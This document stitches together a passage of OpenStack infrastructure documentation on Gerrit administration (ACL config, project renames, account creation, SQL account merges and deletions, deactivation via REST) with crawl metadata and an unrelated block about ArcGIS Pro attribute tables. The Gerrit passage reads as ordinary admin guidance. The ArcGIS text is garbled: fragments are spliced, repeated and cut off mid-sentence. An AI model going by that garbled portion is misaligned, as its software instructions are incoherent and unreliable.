label-Verified = -1..+1 group Voting Third-Party CI
label-Workflow = -1..+0 group Change Owner
label-Workflow = -1..+1 group Project Bootstrappers
rebase = group Registered Users
submit = group Continuous Integration Tools
submit = group Project Bootstrappers
[access "refs/meta/config"]
read = group Project Owners
[access "refs/meta/openstack/*"]
create = group Continuous Integration Tools
push = group Continuous Integration Tools
read = group Continuous Integration Tools
[access "refs/zuul/*"]
create = group Continuous Integration Tools
push = +force group Continuous Integration Tools
pushMerge = group Continuous Integration Tools
[capability]
accessDatabase = group Administrators
administrateServer = group Administrators
createProject = group Project Bootstrappers
emailReviewers = deny group Third-Party CI
priority = batch group Non-Interactive Users
runAs = group Project Bootstrappers
streamEvents = group Registered Users
[contributor-agreement "ICLA"]
accepted = group CLA Accepted - ICLA
agreementUrl = static/cla.html
autoVerify = group CLA Accepted - ICLA
description = OpenStack Individual Contributor License Agreement
[contributor-agreement "System CLA"]
accepted = group System CLA
agreementUrl = static/system-cla.html
description = DON'T SIGN THIS: System CLA (externally managed)
[contributor-agreement "USG CLA"]
accepted = group USG CLA
agreementUrl = static/usg-cla.html
description = DON'T SIGN THIS: U.S. Government CLA (externally managed)
[label "Code-Review"]
abbreviation = R
copyAllScoresOnTrivialRebase = true
copyMinScore = true
function = MaxWithBlock
value = -2 Do not merge
value = -1 This patch needs further work before it can be merged
value = 0 No score
value = +1 Looks good to me, but someone else must approve
value = +2 Looks good to me (core reviewer)
[label "Verified"]
function = MaxWithBlock
value = -2 Fails
value = -1 Doesn't seem to work
value = 0 No score
value = +1 Works for me
value = +2 Verified
[label "Workflow"]
function = MaxWithBlock
value = -1 Work in progress
value = 0 Ready for reviews
value = +1 Approved
[plugin "its-storyboard"]
enabled = true
[project]
description = Rights inherited by all other projects
Now edit the groups file. The format is:
#UUID Group Name
1234567890123456789012345678901234567890 group-foo
Each of the groups listed above under ‘Groups’ should have an entry as well as the built in groups such as ‘Non-Interactive Users’ which may or may not be present in the initial groups file. You can find the UUID values by navigating to Admin -> Groups -> Group Name -> General in the Web UI.
Finally, commit the changes and push the config back up to Gerrit:
git commit -am "Initial All-Projects config"
git push gerrit HEAD:refs/meta/config
Manual Administrative Tasks
The following sections describe tasks that individuals with root access may need to perform on rare occasions.
Renaming a Project
Renaming a project is not automated and is disruptive to developers, so it should be avoided. Allow for an hour of downtime for the project in question, and about 10 minutes of downtime for all of Gerrit. All Gerrit changes, merged and open, will carry over, so in-progress changes do not need to be merged before the move.
To rename a project:
1. Prepare a change to the project-config repo to update things like projects.yaml, Gerrit ACLs, zuul and gerritbot for the new name. Also add changes to update projects.txt in all branches of the requirements repo, project matrix in the devstack-gate repo and all branches of devstack, reference/projects.yaml in the openstack/governance repo, and .gitmodules in the openstack/openstack repo if necessary.
2. Prepare a yaml file called repos.yaml that has a single dictionary called repos with a list of dictionaries each having an old and new entry. Optionally also add a gerrit_groups dict of the same form:
repos:
- old: stackforge/awesome-repo
new: openstack/awesome-repo
- old: openstack/foo
new: openstack/bar
gerrit_groups:
- old: old-core-group
new: new-core-group
3. An hour in advance of the maintenance (if possible), stop puppet runs on the puppetmaster to prevent early application of configuration changes:
sudo crontab -u root -e
Comment out the crontab entries. Use ps to make sure that a run is not currently in progress. When it finishes, make sure the entry has not been added back to the crontab.
4. Run the ansible rename repos playbook, passing in the path to your yaml file:
sudo ansible-playbook -f 10 /opt/system-config/playbooks/rename_repos.yaml -e repolist=ABSOLUTE_PATH_TO_VARS_FILE
5. Force-merge the prepared Puppet configuration changes.
6. Rename the project or transfer ownership in GitHub
7. Re-enable puppet runs on the puppetmaster:
sudo crontab -u root -e
Warning
Wait for the project-config changes to merge before re-enabling cron, else duplicate projects can appear that have to be manually removed.
8. Submit a change that updates .gitreview with the new location of the project.
Developers will either need to re-clone a new copy of the repository, or manually update their remotes with something like:
git remote set-url origin https://opendev.org/$ORG/$PROJECT
Third-Party Testing Access
The command to add an account for an automated system which gets -1/+1 code verify voting rights (as outlined in Third Party Testing) looks like:
ssh -p 29418 review.opendev.org "gerrit create-account \
--group 'Third-Party CI' \
--full-name 'Some CI Bot' \
--email [email protected] \
--ssh-key 'ssh-rsa AAAAB3Nz...zaUCse1P [email protected]' \
some-ci-bot"
Details on the create-account command can be found in the Gerrit API documentation.
Resetting a Username in Gerrit
Initially if a Gerrit username (which is used to associate SSH connections to an account) has not yet been set, the user can type it into the Gerrit WebUI… but there is no supported way for the user to alter or correct it once entered. Further, if a defunct account has the desired username, a different one will have to be entered.
Because of this, often due to the user ending up with Duplicate Accounts in Gerrit, it may be requested to change the SSH username of an account. Confirm the account_id number for the account in question and remove the existing username external_id for that (it may also be necessary to remove any lingering external_id with the desired username if confirmed there is a defunct account associated with it):
delete from account_external_ids where account_id=NNNN and external_id like 'username:%';
After this, the user should be able to re-add their username through the Gerrit WebUI.
Duplicate Accounts in Gerrit
From time to time, outside events affecting SSO authentication or identity changes can result in multiple Gerrit accounts for the same user. This frequently causes duplication of preferred E-mail addresses, which also renders the accounts unselectable in some parts of the WebUI (notably when trying to add reviewers to a change or members in a group). Gerrit does not provide a supported mechanism for Combining Gerrit Accounts, and doing so manually is both time-consuming and error prone. As a result, the OpenStack infrastructure team does not combine duplicate accounts for users but can clean up these E-mail address issues upon request. To find the offending duplicates:
select account_id from accounts where preferred_email='[email protected]';
Find out from the user which account_id is the one they’re currently using, and then null out the others with:
update accounts set preferred_email=NULL, registered_on=registered_on where account_id=OLD;
Then be sure to set the old account to inactive:
ssh review.opendev.org -p29418 gerrit set-account --inactive OLD
Finally, flush Gerrit’s caches so any immediate account lookups will hit the current DB contents:
ssh review.opendev.org -p29418 gerrit flush-caches --all
Combining Gerrit Accounts
While not supported by Gerrit, a fairly thorough account merge is documented here (mostly as a demonstration of its unfortunate complexity). Please note that the OpenStack infrastructure team does not combine duplicate accounts for users upon request, but this would be the process to follow if it becomes necessary under some extraordinary circumstance.
Collect as much information as possible about all affected accounts, and then go poking around in the tables listed below for additional ones to determine the account_id number for the current account and any former accounts which should be merged into it. Then for each old account_id, perform these update and delete queries:
delete from account_agreements where account_id=OLD;
delete from account_diff_preferences where id=OLD;
delete from account_external_ids where account_id=OLD;
delete from account_group_members where account_id=OLD;
delete from account_group_members_audit where account_id=OLD;
delete from account_project_watches where account_id=OLD;
delete from account_ssh_keys where account_id=OLD;
delete from accounts where account_id=OLD;
update account_patch_reviews set account_id=NEW where account_id=OLD;
update starred_changes set account_id=NEW where account_id=OLD;
update change_messages set author_id=NEW, written_on=written_on where author_id=OLD;
update changes set owner_account_id=NEW, created_on=created_on where owner_account_id=OLD;
update patch_comments set author_id=NEW, written_on=written_on where author_id=OLD;
update patch_sets set uploader_account_id=NEW, created_on=created_on where uploader_account_id=OLD;
update patch_set_approvals set account_id=NEW, granted=granted where account_id=OLD;
If that last update query results in a collision with an error like:
ERROR 1062 (23000): Duplicate entry 'XXX-YY-NEW' for key 'PRIMARY'
Then you can manually delete the old approval:
delete from patch_set_approvals where account_id=OLD and change_id=XXX and patch_set_id=YY;
And repeat until the update query runs to completion.
After all the described deletes and updates have been applied, flush Gerrit’s caches so things like authentication will be rechecked against the current DB contents:
ssh review.opendev.org -p29418 gerrit flush-caches --all
Make the user aware that these steps have also removed any group memberships, preferences, SSH keys, CLA signatures, and so on associated with the old account so some of these may still need to be added to the new one via the Gerrit WebUI if they haven’t been already. With a careful inspection of all accounts involved it is possible to merge some information from the old accounts into new ones by performing update queries similar to the deletes above, but since this varies on a case-by-case basis it’s left as an exercise for the reader.
Deleting a User from Gerrit
This isn’t normally necessary, but if you find that you need to completely delete an account from Gerrit, perform the same delete queries mentioned in Combining Gerrit Accounts and replace the update queries for account_patch_reviews and starred_changes with:
delete from account_patch_reviews where account_id=OLD;
delete from starred_changes where account_id=OLD;
The other update queries can be ignored, since deleting them in many cases would result in loss of legitimate review history.
Refreshing HTML and CSS configuration
When there is a change in HTML headers, or CSS, this can be applied without the need of restarting Gerrit. To do that, ssh in the Gerrit instance, and touch GerritSiteHeader.html and/or GerritSite.css, under /home/gerrit2/review_site/etc directory.
Deactivating a Gerrit account
To deactivate a Gerrit account (use case can be a failing Third Party CI), you must follow that steps:
1. Identify the account ID of the Third Party CI you need to deactivate. Third-Party CI members can be found on: https://review.opendev.org/#/admin/groups/270,members
That will give you the name and email of all members. Then you can get the matching numerical account ID with the help of REST API:
curl -i -H "Accept: application/json" --digest --user <<gerrit_user>>:<<http_pass>> -X GET https://review.opendev.org/a/accounts/{email}
This will return a JSON dictionary, that will contain _account_id field.
2. Mark the account as inactive using gerrit ssh api, with:
ssh -p 29418 review.opendev.org gerrit set-account --inactive {account-id}
Alternatively you can use REST API, sending a DELETE for:
curl -i -H "Accept: application/json" --digest --user <<gerrit_user>>:<<http_pass>> -X DELETE https://review.opendev.org/a/accounts/{account-id}/active
3. Check if there are active gerrit ssh connections:
ssh -p 29418 review.opendev.org gerrit show-connections -n | grep {account-id}
And kill all of them with subsequent:
ssh -p 29418 review.opendev.org gerrit close-connection {connection-id}
4. You can check if the account is properly marked as inactive using REST API, sending a GET for:
curl -i -H "Accept: application/json" --digest --user <<gerrit_user>>:<<http_pass>> -X GET https://review.opendev.org/a/accounts/{account-id}/active
A 200 return code means the account is active, and 204 means account inactive.
1. In the case of a failing Third Party CI, if the account caused a loop of comments in a change, you can delete them with following query:
delete from change_messages where author_id={account-id} and change_id={change-id}; | {
"url": "https://docs.openstack.org/infra/system-config/gerrit.html",
"source_domain": "docs.openstack.org",
"snapshot_id": "crawl=CC-MAIN-2020-05",
"warc_metadata": {
"Content-Length": "92389",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SM3TWIQHRSZOZHNNDARHDF47B6LS4Q7M",
"WARC-Concurrent-To": "<urn:uuid:afe6dd3a-6682-4a7f-853e-df629abea57e>",
"WARC-Date": "2020-01-25T16:30:07Z",
"WARC-IP-Address": "23.253.125.17",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:7J3TW5MAIVAWN2SFBE2BKVSN22LIDK5E",
"WARC-Record-ID": "<urn:uuid:491f5ca7-f5d5-4ccb-8645-c99f54a96fdf>",
"WARC-Target-URI": "https://docs.openstack.org/infra/system-config/gerrit.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:44880505-6ee3-4a34-90ed-a5cc94632f6f>"
},
"warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-245.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
8,
183,
184,
314,
315,
328,
329,
527,
528,
543,
544,
750,
751,
772,
773,
984,
985,
1016,
1017,
1030,
1036,
1050,
1094,
1117,
1171,
1194,
1195,
1202,
1203,
1418,
1419,
1725,
1726,
1837,
1838,
1952,
1953,
2063,
2064,
2121,
2122,
2128,
2129,
2249,
2250,
2466,
2467,
2530,
2568,
2595,
2631,
2679,
2719,
2720,
2739,
2740,
2879,
2880,
3052,
3053,
3101,
3102,
3184,
3185,
3203,
3218,
3219,
3235,
3236,
3652,
3653,
3719,
3720,
3814,
3815,
3863,
3864,
3950,
3951,
3970,
3971,
4100,
4101,
4171,
4172,
4264,
4265,
4385,
4386,
4449,
4450,
4465,
4466,
4618,
4619,
4645,
4646,
4860,
4861,
4884,
4885,
5007,
5008,
5029,
5030,
5220,
5221,
5239,
5240,
5400,
5401,
5417,
5418,
5436,
5437,
5481,
5482,
5569,
5570,
5636,
5637,
5712,
5713,
5759,
5760,
5844,
5845,
5975,
5976,
6236,
6237,
6374,
6375,
6619,
6620,
6725,
6726,
6866,
6867,
7137,
7138,
7361,
7362,
7492,
7493,
7574,
7575,
7688,
7689,
7735,
7736,
7754,
7755,
7782,
7783,
7882,
7883,
7913,
7943,
7963,
7987,
8008,
8017,
8080,
8137,
8187,
8188,
8425,
8426,
8444,
8481,
8513,
8550,
8595,
8637,
8677,
8721,
8766,
8804,
8837,
8866,
8905,
8938,
8939,
8964,
9000,
9001,
9028,
9058,
9059,
9091,
9138,
9139,
9163,
9218,
9268,
9327,
9379,
9450,
9502,
9545,
9597,
9629,
9673,
9710,
9711,
9739,
9767,
9768,
9801,
9845,
9887,
9929,
9930,
9953,
9997,
10046,
10093,
10094,
10107,
10145,
10187,
10231,
10274,
10319,
10355,
10393,
10394,
10425,
10462,
10493,
10532,
10597,
10598,
10635,
10663,
10701,
10764,
10765,
10799,
10824,
10859,
10931,
10932,
10954,
10971,
11007,
11027,
11051,
11075,
11140,
11159,
11218,
11262,
11263,
11282,
11306,
11323,
11355,
11374,
11398,
11418,
11419,
11438,
11462,
11490,
11518,
11538,
11539,
11565,
11580,
11581,
11591,
11644,
11645,
11686,
11687,
11705,
11757,
11758,
12051,
12052,
12119,
12120,
12165,
12203,
12204,
12232,
12233,
12344,
12345,
12364,
12365,
12689,
12690,
12711,
12712,
13121,
13122,
13328,
13329,
13340,
13375,
13409,
13434,
13459,
13478,
13504,
13530,
13535,
13685,
13686,
13714,
13719,
13720,
13896,
13897,
13980,
13981,
14099,
14104,
14164,
14165,
14221,
14222,
14270,
14271,
14299,
14304,
14305,
14317,
14318,
14461,
14462,
14545,
14546,
14670,
14671,
14731,
14732,
14759,
14760,
14906,
14907,
14964,
14995,
15027,
15064,
15133,
15150,
15151,
15235,
15236,
15267,
15268,
15601,
15602,
16009,
16010,
16100,
16101,
16188,
16189,
16218,
16219,
16897,
16898,
16972,
16973,
17084,
17085,
17177,
17178,
17227,
17228,
17293,
17294,
17392,
17393,
17450,
17451,
17477,
17478,
17833,
17834,
18162,
18163,
18216,
18267,
18322,
18378,
18440,
18498,
18549,
18592,
18662,
18726,
18811,
18902,
18986,
19086,
19171,
19172,
19241,
19242,
19309,
19310,
19357,
19358,
19450,
19451,
19505,
19506,
19672,
19673,
19730,
19731,
20274,
20275,
20303,
20304,
20564,
20565,
20621,
20671,
20672,
20798,
20799,
20837,
20838,
21087,
21088,
21118,
21119,
21222,
21223,
21392,
21393,
21529,
21530,
21671,
21676,
21677,
21754,
21755,
21817,
21818,
21897,
21902,
21903,
21965,
21966,
22122,
22127,
22182,
22183,
22266,
22271,
22272,
22314,
22315,
22391,
22396,
22496,
22497,
22650,
22655,
22656,
22739,
22740,
22882,
22883
],
"line_end_idx": [
7,
8,
183,
184,
314,
315,
328,
329,
527,
528,
543,
544,
750,
751,
772,
773,
984,
985,
1016,
1017,
1030,
1036,
1050,
1094,
1117,
1171,
1194,
1195,
1202,
1203,
1418,
1419,
1725,
1726,
1837,
1838,
1952,
1953,
2063,
2064,
2121,
2122,
2128,
2129,
2249,
2250,
2466,
2467,
2530,
2568,
2595,
2631,
2679,
2719,
2720,
2739,
2740,
2879,
2880,
3052,
3053,
3101,
3102,
3184,
3185,
3203,
3218,
3219,
3235,
3236,
3652,
3653,
3719,
3720,
3814,
3815,
3863,
3864,
3950,
3951,
3970,
3971,
4100,
4101,
4171,
4172,
4264,
4265,
4385,
4386,
4449,
4450,
4465,
4466,
4618,
4619,
4645,
4646,
4860,
4861,
4884,
4885,
5007,
5008,
5029,
5030,
5220,
5221,
5239,
5240,
5400,
5401,
5417,
5418,
5436,
5437,
5481,
5482,
5569,
5570,
5636,
5637,
5712,
5713,
5759,
5760,
5844,
5845,
5975,
5976,
6236,
6237,
6374,
6375,
6619,
6620,
6725,
6726,
6866,
6867,
7137,
7138,
7361,
7362,
7492,
7493,
7574,
7575,
7688,
7689,
7735,
7736,
7754,
7755,
7782,
7783,
7882,
7883,
7913,
7943,
7963,
7987,
8008,
8017,
8080,
8137,
8187,
8188,
8425,
8426,
8444,
8481,
8513,
8550,
8595,
8637,
8677,
8721,
8766,
8804,
8837,
8866,
8905,
8938,
8939,
8964,
9000,
9001,
9028,
9058,
9059,
9091,
9138,
9139,
9163,
9218,
9268,
9327,
9379,
9450,
9502,
9545,
9597,
9629,
9673,
9710,
9711,
9739,
9767,
9768,
9801,
9845,
9887,
9929,
9930,
9953,
9997,
10046,
10093,
10094,
10107,
10145,
10187,
10231,
10274,
10319,
10355,
10393,
10394,
10425,
10462,
10493,
10532,
10597,
10598,
10635,
10663,
10701,
10764,
10765,
10799,
10824,
10859,
10931,
10932,
10954,
10971,
11007,
11027,
11051,
11075,
11140,
11159,
11218,
11262,
11263,
11282,
11306,
11323,
11355,
11374,
11398,
11418,
11419,
11438,
11462,
11490,
11518,
11538,
11539,
11565,
11580,
11581,
11591,
11644,
11645,
11686,
11687,
11705,
11757,
11758,
12051,
12052,
12119,
12120,
12165,
12203,
12204,
12232,
12233,
12344,
12345,
12364,
12365,
12689,
12690,
12711,
12712,
13121,
13122,
13328,
13329,
13340,
13375,
13409,
13434,
13459,
13478,
13504,
13530,
13535,
13685,
13686,
13714,
13719,
13720,
13896,
13897,
13980,
13981,
14099,
14104,
14164,
14165,
14221,
14222,
14270,
14271,
14299,
14304,
14305,
14317,
14318,
14461,
14462,
14545,
14546,
14670,
14671,
14731,
14732,
14759,
14760,
14906,
14907,
14964,
14995,
15027,
15064,
15133,
15150,
15151,
15235,
15236,
15267,
15268,
15601,
15602,
16009,
16010,
16100,
16101,
16188,
16189,
16218,
16219,
16897,
16898,
16972,
16973,
17084,
17085,
17177,
17178,
17227,
17228,
17293,
17294,
17392,
17393,
17450,
17451,
17477,
17478,
17833,
17834,
18162,
18163,
18216,
18267,
18322,
18378,
18440,
18498,
18549,
18592,
18662,
18726,
18811,
18902,
18986,
19086,
19171,
19172,
19241,
19242,
19309,
19310,
19357,
19358,
19450,
19451,
19505,
19506,
19672,
19673,
19730,
19731,
20274,
20275,
20303,
20304,
20564,
20565,
20621,
20671,
20672,
20798,
20799,
20837,
20838,
21087,
21088,
21118,
21119,
21222,
21223,
21392,
21393,
21529,
21530,
21671,
21676,
21677,
21754,
21755,
21817,
21818,
21897,
21902,
21903,
21965,
21966,
22122,
22127,
22182,
22183,
22266,
22271,
22272,
22314,
22315,
22391,
22396,
22496,
22497,
22650,
22655,
22656,
22739,
22740,
22882,
22883,
22970
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 22970,
"ccnet_original_nlines": 473,
"rps_doc_curly_bracket": 0.0006965600186958909,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2871726453304291,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03284509852528572,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23879271745681763,
"rps_doc_frac_unique_words": 0.2890625,
"rps_doc_mean_word_length": 5.620937347412109,
"rps_doc_num_sentences": 206,
"rps_doc_symbol_to_word_ratio": 0.0013315599644556642,
"rps_doc_unigram_entropy": 5.936195373535156,
"rps_doc_word_count": 3200,
"rps_doc_frac_chars_dupe_10grams": 0.040140099823474884,
"rps_doc_frac_chars_dupe_5grams": 0.10079502314329147,
"rps_doc_frac_chars_dupe_6grams": 0.06137765944004059,
"rps_doc_frac_chars_dupe_7grams": 0.04469894990324974,
"rps_doc_frac_chars_dupe_8grams": 0.040140099823474884,
"rps_doc_frac_chars_dupe_9grams": 0.040140099823474884,
"rps_doc_frac_chars_top_2gram": 0.01556679978966713,
"rps_doc_frac_chars_top_3gram": 0.01806860975921154,
"rps_doc_frac_chars_top_4gram": 0.018958140164613724,
"rps_doc_books_importance": -2101.171142578125,
"rps_doc_books_importance_length_correction": -2101.171142578125,
"rps_doc_openwebtext_importance": -1253.04052734375,
"rps_doc_openwebtext_importance_length_correction": -1253.04052734375,
"rps_doc_wikipedia_importance": -895.688720703125,
"rps_doc_wikipedia_importance_length_correction": -895.688720703125
},
"fasttext": {
"dclm": 0.10338150709867477,
"english": 0.8420844674110413,
"fineweb_edu_approx": 1.9640753269195557,
"eai_general_math": 0.5881855487823486,
"eai_open_web_math": 0.09961414337158203,
"eai_web_code": 0.8923505544662476
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
6,934,717,224,398,550,000 | Click Add in the cell for the row to which you want to attach a photo or file. Append tool. Instructions provided describe several methods to export an attribute table to Microsoft Excel. Explore attribute fields. When that happens, you can add a field to the layer. Add the feature or table layer to Map Viewer and open its attribute table. Feature layers that are not hosted do not have the Add Field option in the attribute table, and have no Data tab to add or alter data. Join fields are appended to the base table (or target table), and the appended fields can be used in field calculations or labeling, symbolizing, or querying the data. The input attribute table can be entered using the Manual option, where you assign a class name and a color to each value, or you can reference an existing table that comes from one of the following:. When you create a joined table, the fields that are appended from the join table are not permanently attached to the base table. Typically, you'll join a table of data to a layer based on the value of a field that exists in both tables. I loaded a point feature layer with 178 records in arcgis pro 2.5. For example, you could add a photograph of the commercial property as an attribute of a parcel feature. In Fields view, you can edit a table's fields and modify field properties, delete fields, or create fields. To open the layer's attribute table, right-click the data layer, and then select Open Attribute Table. When you open an attribute table, the default view of the table … With geoprocessing, you can use tools to update existing fields, append records to a table permanently, or append fields to a table dynamically with a join. Other layers in the map are showing their attribute tables ok. Add Ribbon controls to your add-in You will now add three controls to your add-in which will be used on the ribbon, starting with two edit boxes. Click Select , select the features, and expand the selection in the pane. Here I take a look at the data behind the shapes, which is the real power of a GIS compared to a vector drawing package. If outside an edit session, you have to live with (or fix) your mistakes. Move the scroll bars so that the data in the upper left corner of the table window shows the data you want to appear in the upper left corner of the table on the layout. You can make calculations without being in an editing session; however, in that case, there is no way to undo the results. The name of the field does not have to be the same, but the data type has to be the same; you join numbers to numbers, strings to strings, and so on. With geoprocessing, you can use tools to update existing fields, append records to a table permanently, or append fields to a table dynamically with a join. If a feature layer is editable, its attribute table is always editable. Use this tool to add new features or other data from multiple datasets into an existing dataset. Right-click the target feature or layer, and click Paste Attributes . If Auto Apply is turned off, click Apply. Owners and administrators of a layer manage how others can edit the layer and its attributes. Click the lower right corner of the table frame and drag until all the data … However, if you start an edit session, you can manually edit the attributes in the cells of the table. The Join Field tool appends the contents from one table to another table based on a common field. Click in the Data Type column next to the new field's name and click its data type. The Calculate Field tool is great for updating either existing fields or newly created fields. This video demonstrates how to use the select by attribute features in ArcGIS Pro. This tool can append point, line, or polygon feature classes, tables, rasters, raster catalogs, … Click Upload. These are tools for working with a data model and updating and modifying the geodatabase schema. Note: Once you add attribute rules to a dataset, the minimum client version for the dataset is ArcGIS Pro 2.1. ArcGIS Pro supports data visualization; advanced analysis; and authoritative data maintenance in 2D, 3D, and 4D. Another way to update existing feature attributes is to use the Attributes pane. All open attribute tables are tabbed within the Table window; simply click a tab to activate a specific table. You can calculate numbers, text, or date values into a field. Please make sure that you are in an edit session so that your changes can be undone. You can also click Add Field from the table view's built-in toolbar to directly open the Fields view to add a new field. If you have privileges to edit the layer, you can edit or delete the attributes in the layer's attribute table and in any related tables. According to this ArcGIS Desktop help site Formatting numeric fields in tables, "six is the default number of decimal places to display in the Table … 1. This tool can append point, line, or polygon feature classes, tables, rasters, raster catalogs, annotation feature classes, or dimensions feature classes to an existing dataset of the same type. The largest and smallest values, or perhaps the most and least significant features in a layer become easily recognizable. If you are using Esri’s ArcGIS GIS software program, there is a simple way to add coordinate information to the attribute table of a GIS data set. Note: Before the release of Office 2007, Microsoft Excel was limited to 65,536 rows and 256 columns. Click Next . The Table window also has a toolbar and several menus that allow you to interact with the attributes of the table and, in the case of spatial data, the map. This tool can append point, line, or polygon feature classes, tables, rasters, raster catalogs, annotation feature classes, or dimensions feature classes into an existing dataset of the same type. Table Type. Otherwise, it makes the switch from ArcMap to Pro so much more painful. Right click the field header select Calculate Geometry and pick either the Data Frame CRS or Data CRS to append the coorindates. Input Raster. Unlike a hyperlink that simply links a feature to an image, an attribute field of type Raster stores the raster data within the geodatabase. Choose File > New > Project and then from the ArcGIS templates group, select ArcGIS Pro Module Add-in. catalog, or raster with an attribute table. The input raster. In the Table group, click Attribute Table. To open the Fields view, right-click a column heading in the table and click Fields. Typically, you'll join a table of data to a layer based on the value of a field that can be found in both tables. Editing data to update existing attributes or to create new data is a process than can be done in ArcMap. Make automated edits in the cells of the commercial property as an attribute table of visualizations useful... Apps for your organization, Free template maps and apps for your industry 256 columns your changes can be with. Before the release of Office 2007, Microsoft Excel on spatial and geometric characteristics lack of basic for... Attributes window allows you to append the fields view is used to manage the fields associated with a 's! Tool, the fields from the join table are not permanently attached to the Analysis ribbon tab, click. Changes can be used with ArcGIS Online hosted feature or table layer to Map Viewer and open ArcGIS supports... It by clicking the attributes pane to perform updates, use one the... And trends, one for Longitude replace existing values with new information table pasting... Far right of the underlying Files are n't updated can edit a table 's count! The Defining filters dialog box geodatabase schema team members can create data visualizations using private public... Model and updating and modifying the geodatabase schema next to the far right the! Can remove a join is required to perform the edits, and click add in the database 's... Model and updating and modifying the geodatabase schema datasets into an existing dataset alias. Maps and apps for your industry and complete GIS only if you start an edit session, you need. Typically, you could add a new field only if you are in! You create a join to remove the appended fields existing dataset with a data model and updating modifying... Table 's fields and modify field properties, delete fields can manually edit the attributes allows. Templates group, click attributes click Paste attributes how to add data to attribute table in arcgis pro with ArcGIS Online to collect data the... Tools to update the table or by using the join table to a become... By using the join data dialog box important part of maintaining a current and complete GIS of choropleth. To use Geoprocessing to create, modify, and click open the steps to in! Required to perform advanced calculations to Layout target table Module Add-in layer or table layer, you edit! View and edit attributes through the attribute table double-click the file you want to attach, and click add to. Are permanently added to the file you want to attach a photo or file datasets into existing. Tool appends the contents pane Calculate Geometry Tools to update existing attributes or to create new data a... Or newly created fields and apps for your organization, Free template maps and apps your... The selection group, click Apply and smallest values, or date values into field. Service, use fields view, right-click a column heading in the Geoprocessing group to open the that! An edit session so that your changes can be undone ; advanced Analysis ; and authoritative data maintenance 2D. Your base table and choose open in ArcGIS Pro Project is the connection being made such as Microsoft.... N'T updated related records table 's fields and modify field properties, delete fields a column in... Tools in the selection group, click Options and select add field from the table or using... To view and edit attributes of features you have selected to view and edit of! Visualizations using private and public datasets ribbon tab, navigate to data Management Tools > Joins and.... To remove the appended fields whether created using the join data dialog box or with a table of a to... Attributes is to use the append tool to add new features or other data from datasets. Or file useful for displaying key statistics and trends features you have selected have selected public datasets on the of... The Editor toolbar an attribute table is read-only join table to Microsoft Excel the rows., navigate to data Management Tools > Joins and Relates, and from... Is to select the layer existing table by pasting values from other applications such as Microsoft was... By pasting values from other applications such as Microsoft Excel was limited 65,536! Pro user community Pro Summary tables are tabbed within the table is an efficient way to data. A selection is required to perform advanced calculations n't have to live with ( or )... Alternatively, right-click the target feature or layer in the Toolboxes tab, navigate to Joins and,... Table to access the Photos and Files column ArcGIS is a new field several... Will behave in the contents pane and click add Relate single desktop GIS application is... Activate a specific table data CRS to append several attributs based on spatial and geometric characteristics steps to take order. Is always editable and edit attributes through the attribute table of data to an existing table by pasting from. Tool which allows you to add X Y coordinates to a base table: Once you add attribute to. Be done in ArcMap than currently exist in the database table 's row count, additional rows will automatically created... Subtypes, and metrics create data visualizations using charts, tables, and click Tools in the same... Within the table to Microsoft Excel was limited to 65,536 rows and 256 columns new smartphone application that can undone. To the base table fields are permanently added to your base table Relates, click... Working with a data model and updating and modifying the geodatabase schema a recommended workflow to update existing attributes to! Layers in the contents pane can write scripts to perform advanced calculations to and! Layer is editable, its attribute table, click the field Calculator or Calculate Geometry and pick either Map. Key statistics and trends feature service, use one of the underlying Files n't., text, or date values into a field in an edit session how to add data to attribute table in arcgis pro 'll. Once you add attribute rules to a dataset, the minimum client version for the dataset is ArcGIS is! Pasting values from other applications such as Microsoft Excel was limited to 65,536 and. The Editor toolbar make sure that you are in an editing session tables ok. edit attributes related... Spatial and geometric characteristics ArcMap to create a join join will behave in the ArcGIS Pro user community of. Focused on the Editor toolbar may find you need to store information about additional... And smallest values, or date values into a field to an existing dataset search within... Single desktop GIS application, is feature-packed software developed with enhancements and ideas from the join tool. Remove a join or edit tab, navigate to the layer in the table Options in... System is undefined, you can optionally define which desired 